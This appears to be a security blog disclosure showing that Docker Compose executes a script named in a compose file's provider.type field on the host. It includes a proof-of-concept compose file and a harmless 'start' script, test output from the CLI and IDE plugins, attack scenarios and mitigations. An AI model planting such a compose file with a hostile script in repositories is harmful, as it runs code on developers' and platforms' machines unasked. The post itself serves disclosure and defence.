Skip to main content

Command Palette

Search for a command to run...

Docker Compose Provider Type Command Execution

Updated
5 min read
Docker Compose Provider Type Command Execution
A

AI, Red Team, Vulnerability Research

SUMMARY

Docker Compose allows arbitrary command execution when processing compose files with a provider.type field. The vulnerability occurs because Docker Compose by design executes any Provider Type as a binary/script on the host without validation.

When it encounters a provider.type field in a service definition, it uses Go's exec.LookPath() function to find and execute the specified program. If the value is a relative path (like ./start), and that file exists and is executable in the current directory, Docker Compose will execute it on the host system before creating any containers.

An attacker can craft a malicious docker-compose.yml and script that executes arbitrary commands on the system running 'docker compose up'.

While this is considered by design and intended functionality by the maintainer, it could be a way to get code execution in local environments or platforms insecurely using docker compose during red team exercises.

HOW IT WORKS

  1. Docker Compose reads docker-compose.yml

  2. Service has provider.type: ./start (relative path)

  3. Docker Compose calls exec.LookPath("./start")

  4. If ./start exists and is executable, it executes it immediately

The script runs with the same privileges as the user running docker compose, with no additional checks to determine if this is a legitimate provider, nor isolation when running the script

Vulnerable Code Location

  • File: pkg/compose/plugins.go (Docker Compose source code)

  • Function: getPluginBinaryPath()

  • Line: ~167

Code:

func (s *composeService) getPluginBinaryPath(provider string) (path string, err error) {
    // ... validation checks ...
    if errdefs.IsNotFound(err) {
        path, err = exec.LookPath(executable(provider)) // <- Executes relative paths
    }
    return path, err
}

Issue: exec.LookPath() accepts relative paths (like ./start) and will execute them if they exist and are executable. This is intended behavior per Docker, but users may not be aware that scripts in the current working directory will be executed.

Execution Flow

  1. Docker Compose parses docker-compose.yml

  2. Encounters provider.type: ./start

  3. Calls getPluginBinaryPath("./start")

  4. exec.LookPath("./start") finds the file

  5. Docker Compose executes ./start

Script runs arbitrary commands immediately and commands run with user privileges on host system

TESTING FILES

File: docker-compose.yml

services:
  start:
    provider:
      type: ./start

File: start

#!/bin/sh
uname -a > /tmp/123
id >> /tmp/123

EXPLOITATION

  1. Create a malicious script that:

    • Executes arbitrary commands
  2. Create a malicious compose file (docker-compose.yml) that:

    • Defines a service with provider.type: ./start

    • Points to the malicious script

  3. Triggering execution by:

    • Running docker compose up on the malicious compose file

    • Docker Compose automatically executes ./start as a "provider"

    • The script runs arbitrary commands on the host

POTENTIAL ATTACK SCENARIOS

  1. Running docker compose after cloning a repo

    Scenario: Developer clones a repository and runs docker compose up

     git clone [GIT REPO URL]
     cd repo
     docker compose up  # <- command execution triggered here
    
  2. Remote features / plugins for automatically/manually deploying a yaml compose file in IDEs

    Scenario: IDE extensions (VSCode, JetBrains) may auto-detect and execute compose files

    • Attacker creates malicious repo with docker-compose.yml

    • Developer opens repo in IDE

    • IDE extension detects compose file and suggests "Run Docker Compose"

    • Developer clicks button -> command execution triggered

  3. Any services that allow arbitrary git URLs to deploy services without restricting config or providers

    Scenario: Platforms that accept Git URLs and automatically deploy Docker Compose stacks

    • Attacker provides malicious Git URL in platform UI

    • Platform clones repo and runs docker compose up

    • Command execution on platform host server

REPO SETUP

Create the repo and add files.

Note: Ensure 'start' file is executable (chmod +x start)

TESTING

Confirmed command execution on the following applications and platforms

  • Docker Compose v2.40.3 (Ubuntu 24.04)

  • Visual Studio Code with Docker from Microsoft Plugin (Mac OS X)

  • JetBrains IntelliJ IDE (Mac OS X)

DOCKER COMPOSE CLI

Step 1: Install docker compose

$ sudo apt install -y docker-compose-plugin

$ docker compose version
Docker Compose version v2.40.3

Step 2: Clone the repo and run docker compose

$ git clone [GIT REPO URL] && cd test

$ docker compose up
[+] Running 1/1
 ✔ start  Created                                                                                                                                                    0.0s 
service "start" has no container to start

Step 3: Check for exploit artifact

$ cat /tmp/123
Linux 6.14.0 Ubuntu SMP x86_64 x86_64 x86_64 GNU/Linux
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),988(docker)

VSCODE IDE WITH DOCKER PLUGIN

Step 1: Install plugin

  1. Extensions -> search Docker -> Install Docker (from Microsoft)

  2. Explorer -> Clone Repository -> [GIT REPO URL] (Clone from URL)

  3. Select as Repository Destination, Click Open

  4. Click Yes, I trust the authors (clicking No = Restricted Mode with no Compose Up option)

Step 2: Run Compose from Repo

  1. Right click compose.yaml -> Compose Up
[+] Running 1/1
 ✔ start  Created                                                                                                                             0.0s 
service "start" has no container to start

Step 3: Check for exploit artifact

$ cat /tmp/123
Darwin Kernel Version 24.6.0 arm64
uid=501(test) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),204(_developer),33(_appstore),100(_lpoperator),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

INTELLIJ IDEA IDE

Similar to VSCode, but default can run docker compose on the repo

  • Step 1: Open IntellJ IDEA and clone repo

  • Step 2: 'Preview in Safe Mode' / Untrusted Mode worked (as well as Trusted Mode)

  • Step 3: Right click docker file and select Run 'docker-compose.yml: ...'

Mitigation

Maintainer considers custom providers an intended and documented feature and has released documentation update to clarify type field can execute scripts:

https://docs.docker.com/compose/how-tos/provider-services#provider-types

Additional information on how to mitigate risks

For Users:

  • Review compose files before execution, especially from untrusted sources

  • Be aware that provider.type can execute arbitrary scripts on the host

  • Only run docker compose up on compose files from trusted sources

  • Consider using Docker Compose's schema validation (enabled by default in CLI) which may block some provider configurations

For Platforms:

Platforms that process untrusted compose files (CI/CD systems, container management platforms, IDEs) may consider implementing ideas that may mitigate impact or prevent exploitation:

  1. Block provider.type Field Entirely

    • Reject any compose file containing provider.type field

    • Simplest mitigation if custom providers are not needed

    • Can be implemented via schema validation or pre-processing

  2. Whitelist Allowed Providers

    • Maintain a list of approved provider names (e.g., ["compose", "docker", "kubernetes"])

    • Reject any provider.type value not in the list

    • Validate before passing compose file to Docker Compose

  3. Restrict Relative Paths

    • Reject any provider.type value containing relative paths (./, ../, or no path prefix)

    • Only allow absolute paths to known plugin directories (e.g., /usr/lib/docker/cli-plugins/)

    • Prevents execution of scripts from untrusted repository directories

  4. Validate Compose Files Before Execution

    • Parse compose files and check for provider.type fields

    • Implement custom validation logic before calling Docker Compose

    • Log all provider.type usage for security monitoring

Discovery

Jeremy Brown (jbrown3264/gmail)

More from this blog

A

AI, Red Team Vulnerability Research Blog

8 posts